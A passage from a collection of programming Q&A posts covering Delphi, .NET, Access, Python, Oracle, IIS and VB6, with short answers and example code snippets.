function isNumeric(s1:string):boolean;
begin
   // will throw exception if its not a number
  // there must be a better way to do this!!
  try
     StrTofloat(s1);
       result :=  TRUE ;
     except
       result := FALSE;
      end;
end;

But throwing exceptions cant be good, and it makes debugging hard as I keep seeing the exception dialogue every time the code is called.

Answer:
For integers, you could use TryStrToInt to check and convert without throwing exceptions:
```
```
function TryStrToInt(const s: string; out i : integer): boolean;
```
```
I'm not absolutely sure there is a full equivalent for floats, though, so you might need to use StrToFloat() and accept the possibility of a TFormatException.


Question: Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?

Answer:
See
http://todotnet.com/archive/2006/07/27/8248.aspx
Because in the construction of
  XPathDocument, there's an http GET
  command to see if it can access the
  DTD. It's not doing anything with the
  DTD. It's for just in case. So while
  XPathDocument is initially set up to
  be a faster alternative to
  XmlDocument, you'll have the
  additional overhead of an http request
  that needs to be resolved. Imagine
  that server being on the other side of
  the globe!


Question:
I would like to change the "Row Source" values in an Access table through code.
This way I can filter what a user can choose in a column's combo box.

Answer:
I don't know whether or not this is an option for you, but I would recommend separating the table and filtering options, setting up a form to do the data entry and modification and using code to set the Row Source for the combo box on the form. As you've already seen, while Access does provide the opportunity to treat tables as more than just tables, that is primarily for GUI purposes. Behind the scenes, Access prefers that you work with forms for data entry.
If you need to pursue the table method, you might try looking at the MS knowledge base articles referenced
here
. (The kb articles are
here
and
here
.) Keep in mind that these refer to Access 97 and may no longer be relevant. I wasn't able to find any more recent references to those properties in an Access tabledef.


Question:
I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary.

Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without having a corresponding entry in the Web.Config, or do I have to programmatically edit the Web.Config when adding / removing modules? I know that either way is going to cause an AppDomain restart but I'd rather be able to do it in code than having to fudge the web.config to achieve the same effect.

Answer:
It has to be done at just the right
  time in the HttpApplication life cycle
  which is when the HttpApplication
  object initializes (multiple times,
  once for each instance of
  HttpApplication). The only method
  where this works correct is
  HttpApplication Init().
To hook up a module via code you can
  run code like the following instead of
  the HttpModule definition in
  web.config:
```
```
public class Global : System.Web.HttpApplication
  {
     // some modules use explicit interface implementation
     // by declaring this static member as the IHttpModule interface
     // we work around that
     public static IHttpModule Module = new xrnsToashxMappingModule();
     public override void Init()
     {
         base.Init();
         Module.Init(this);
     }
  }
```
```
All you do is override the HttpApplication's Init() method and
  then access the static instance's Init
  method. Init() of the module hooks up
  the event and off you go.
Via
Rick Strahl's blog


Question: In the context of unit testing, what is a "unit"?

Answer:
We define 'unit' to be a single class.
As you rightly assert 'unit' is an ambiguous term and this leads to confusion when developers simply use the expression without adding detail. Where I work we have taken the time to define what we mean when we say 'unit test', 'acceptance test', etc. When someone new joins the team they learn the definitions that we have.
From a practical point of view there will likely always be differences of opinion about what a 'unit' is. I have found that what is important is simply that the term is
used consistently
within the context of a project.


Question: What is the equivalent to the C# "!" operator in F#?

Answer:
According to
"Foundations of F#"
, page 61:
F# uses a function called
```
not
```
for Boolean "not" operations.


Question: Lets say on MySQL database (if it matters).

Answer: No, as you could still use D-SQL in your stored procedures... and validating and restricting your input is a good idea in any case.


Question:
I have a property called "IsSecureConnection" that is part of my object's interface.  This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly.

Should I omit this property from the object's interface even though it is required by all of the implementations (though  slightly different on occasion)?

Thanks!

Answer:
Just add the getter in the interface.
```
```
public interface Foo{
  bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}
}
```
```
Interfaces specify the minimum an object must implement; it doesn't say what an object cannot do.  For that, you need to look into creating base classes.


Question:
Is there a Python class that wraps the file interface (read, write etc.) around a string? I mean something like the stringstream classes in C++.

I was thinking of using it to redirect the output of print into a string, like this

sys.stdout = string_wrapper()
print "foo", "bar", "baz"
s = sys.stdout.to_string() #now s == "foo bar baz"

EDIT: This is a duplicate of How do I wrap a string in a file in Python?

Answer:
Yes, there is StringIO:
```
```
import StringIO
import sys

sys.stdout = StringIO.StringIO()
print "foo", "bar", "baz"
s = sys.stdout.getvalue()
```
```


Question:
I am using Oracle 10g R2.
Recently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself.

Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to supposedly change its settings.

Does anybody have a clue on the roots of this problem?

@akaDruid: I am testing my connection simply by trying to start SQLPlus on the server.

@Matthew: It's Windows

Answer:
EDIT:  I don't think I read your question properly: The listener should not affect connections on the local machine, so you can probably ignore the rest of the answer, unless it gives you a hint!  How were you testing your connection? Was ORA-12514 the only error?
(I'm assuming you're on Windows here)
I guess the listener is not starting automatically when you reboot the server, and it's getting starting in oracle administration assistant - I don't use that tool unfortunately so couldn't say.
Next time you reboot, before starting oracle administration assistant, open a command prompt and type lsnrctl status.  If the listener has not yet started you will get something like this:
```
```
C:\Documents and Settings\user>lsnrctl status

LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:00:21

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   32-bit Windows Error: 2: No such file or directory
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server.domain.co.uk)
(PORT=1521)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   32-bit Windows Error: 61: Unknown error

C:\Documents and Settings\user>lsnrctl status
```
```
if it is running, you will get something like this:
```
```
LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:03
:33

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production
Start Date                27-OCT-2008 14:03:27
Uptime                    0 days 0 hr. 0 min. 5 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   C:\oracle\product\10.2.0\db_1\network\admin\listener.ora
Listener Log File         C:\oracle\product\10.2.0\db_1\network\log\listener.log

Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC01ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server.domain.co.uk)(PORT=1521))
)
Services Summary...
Service "ORCL" has 1 instance(s).
  Instance "ORCL", status UNKNOWN, has 1 handler(s) for this service...
Service "ORCL1" has 1 instance(s).
  Instance "ORCL1", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

C:\Documents and Settings\user>
```
```
If the listener is not starting, check that service is set to automatic.  If it is, check the listener.ora makes sense, see what output you get from lsnrctl start, etc.
Hope that helps, or at least sends you down the right path


Question:
For example for the following XML

 <Order>
  <Phone>1254</Phone>
  <City>City1</City>
  <State>State</State>
 </Order>

I might want to find out whether the XElement contains "City" Node or not.

Answer:
Just use the other overload for
Elements
.
```
```
bool hasCity = OrderXml.Elements("City").Any();
```
```


Question: If you have a class member that is static and public. Would you write static public or public static? I know they are the same. But is there some recommendation / best practice for writing this?

Answer:
I personally would go with public static because it's more important that it's public than that it's static.
And check this:
http://checkstyle.sourceforge.net/config_modifier.html
As well as this:
http://java.sun.com/docs/books/jls/second_edition/html/classes.doc.html
(These two links are for Java, but the concept is the same)
Short version: "public static" is recommended and is far more common.


Question:
I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read Omar's post and several others on the web and tried their solutions but no luck so far.

The home page opens without a problem on IIS 6 but others 404 and the site runs well on IIS 7.

Has anybody deployed asp.net mvc beta to IIS 6 with success? If so, what adjustments did you need to make to the code and/or IIS settings to get it to work?

Answer:
I found a solution to my problem from
Steve Sanderson's blog
(Thanks Steve):
Use a wildcard mapping for
```
aspnet_isapi.dll
```
. This tells IIS 6 to process all requests using ASP.NET, so routing is always invoked, and there’s no problem. It’s dead easy to set up:
open IIS manager (run -> inetmgr -> OK)
right-click your app, go to Properties
then Home Directory tab, then click Configuration.
Under Wildcard application maps, click Insert (not Add, which is
confusingly just above)
then enter
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll for
“Executable”, and uncheck Verify that file exists.


Question:
I am at the point where I need to add keys to my app. What are some of the possible solutions you guys used? I've looked at an earlier post so far, anything else before I decide. My 2 influential factors are:

Price

Ease of use

Thanks

Answer:
Aladdin
Aladdin's Software and Hardware Solution Comparison Chart
We purchase these keys and they are very easy to use with sample code generated for you from their utility.  Added to this is they are a very professional company (no I don't work for them but have used their products in 2 different companies)
The basic hardware keys themselves cost around $30per in small qty but you must purchase the "Master" set which is more expensive (at this time I can't recall the cost).


Question:
I'm developing an ActiveX EXE that exposes an specific class to a third-party software.  This third-party software instanciates an object of this class and uses its methods.

Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but I have no idea why this happens.

The only clue I have is that this method is the only one that returns a value.  All the other ones are simple 'subs' that do not return any value, and when they are called nothing wrong happens.

I'm using  VB6.

Do you guys have any idea of why it's happening?

Answer:
Your object gets "destroyed" when the last reference to it is deleted. Thats normal COM behavior. Or is your object dying unexcepted and the third-party app is getting an activex error?
Some more questions:
I don't know what you mean with "data server"?
Do you have access to the source code of the third-party app?
Are you sure, the third-party app holds a reference to your object?
Is your objects Class_Terminate Method called?
EDIT:
OK, when Class_Terminate is getting called its obvious, that the third-party app has dropped its reference to your object.


Question:
I'm looking for a way to create websites with the cool stylings of Windows Vista, like what is shown in this screenshot (taken from one of Microsoft's websites):

Any suggestions? I'd prefer an integrated designer / IDE, but libraries or templates might also help.

Answer:
The "cool Vista stylings" are done using
WPF
, for which you'll need
Visual Studio 2008
. 90-day trial downloads are
here
. The "Express Products" (free, stripped-down versions) are
here
.